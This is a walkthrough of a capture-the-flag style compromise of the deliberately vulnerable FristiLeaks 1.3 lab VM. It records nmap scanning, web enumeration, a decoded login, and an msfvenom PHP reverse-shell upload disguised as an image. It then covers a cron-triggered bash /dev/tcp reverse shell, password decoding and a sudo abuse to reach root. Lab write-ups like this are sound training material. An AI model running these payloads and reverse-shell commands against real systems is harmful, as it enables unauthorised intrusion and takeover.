So onto the next one something a touch harder this time.
Name: FristiLeaks: 1.3
Date release: 14 Dec 2015
Author: Ar0xA
Series: FristiLeaks
Web page: https://tldr.nu/2015/12/15/fristileaks-vm/

Description:
A small VM made for a Dutch informal hacker meetup called Fristileaks. Meant to be broken in a few hours without requiring debuggers, >reverse engineering, etc..
VMware users will need to manually edit the VM's MAC address to: 08:00:27:A5:A6:76
🔥HOST DISCOVERY 🔥
ARP
netdiscover
ping
ping 192.168.0.17
🔥PORT SCANNING🔥
TCP
nmap -sS -A -sC -sV -O -p0- 192.168.0.17 -oA nmap_tcp_full_verOSscript
hmmm http only??
UDP
nmap -sU -n 192.168.0.17 -oA nmap_udp_def
no udp ports
🔥 SERVICE ENUMERATION 🔥
80 - http
so it looks like there is a little in robots.txt
http://192.168.0.17/robots.txt
http://192.168.0.17/cola
http://192.168.0.17/sisi/
http://192.168.0.17/beer
So all three links appear to troll me displaying the image below.
nikto -h 192.168.0.17 -p 80
dirb http://192.168.0.17
hmmm. Cant drink beer. Cant drink cola. Keep calm and Fristi
Theres clues right under your nose sometimes. I was stuck on this for a while
now we got something a login portal
there are a few interesting comments i spotted in the page source
The image source suggests the wall of characters could be base64 encoded image
a user found eezeepz
in kali we could have used the base64 tool however being lazy i pulled up the first website to decode base64 ascii
pasted in the comment which returned the following image
next I was able to successfully login to the portal using
user: eezeepz
password: keKkeKKeKKeKkEkkEk
An upload page for us to abuse perhaps?
The upload function is restricted to images.
🔥 EXPLOITATION🔥
A quick searchsploit returns a few exploits nothing too relevant
Lets try upload a shell instead
with the information enumerated I build the shell with msfvenom
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.13 LPORT=4444 -f raw > shell.php.png
successful upload of the payload :D
before executing the payload we need to start the listener
set the payload, lhost and lport
started the listener. time to execute the payload. The browser loads indefinitely... this is a good sign
flick back to metasploit and BOOM we got a shell
i jump into standard shell. we are in as the apache user
🔥PRIV ESCALATION 🔥
So we now need to get root because apache just is not good enough.
First i moved into a bash shell as backspace was annoying me.
/bin/bash
This time i decided to manually go through some priv escalation commands in g0tm1lks cheat sheet. No cheating script this time
looking around we start to build up info

fristi:x:503:100::/var/www:/sbin/nologin
Eventually inside /home/eezeepz the notes.txt file contains some useful info
so we put the following code into the runthis fille to try and get the target machine to connect back to the attacking kali box on port 6666. This should be executed as admin also :P
echo "/usr/bin/dir && /bin/bash -i >& bash -i >& /dev/tcp/192.168.0.13/6666 0>&1" > /tmp/runthis
looking in cronresult looks like we have a hit
boom we got a shell
now we are admin. not good enough :( but a step up
continuing the hunt
cryptpass.py suggests the value above is base64 encoded then ROT13 encoded
after failing to get the python code to run on the target i jumped into python to reverse
LetThereBeFristi!
I suspected this was the password for one of the fristi users
fristigod:x:502:502::/var/fristigod:/bin/bash
fristi:x:503:100::/var/www:/sbin/nologin
we try to swtich to fristigod
need a tty. We know python is on here so
https://netsec.ws/?p=337
python -c 'import pty; pty.spawn("/bin/sh")'
google is always helpful
so now we successfully used the decoded string as the password for fristigod
straight away we see a interesting folder.secret_admin_stuff and inside file doCom
looking at the bash history reveals what fristigod has been doing
so looks like the command was spammed. The first one looks the most interesting where doCom runs the ls command. possibly under the context of root :O
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom whoami
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/sh
got root 😎😎😎
time to get the flag
got the flag🚩
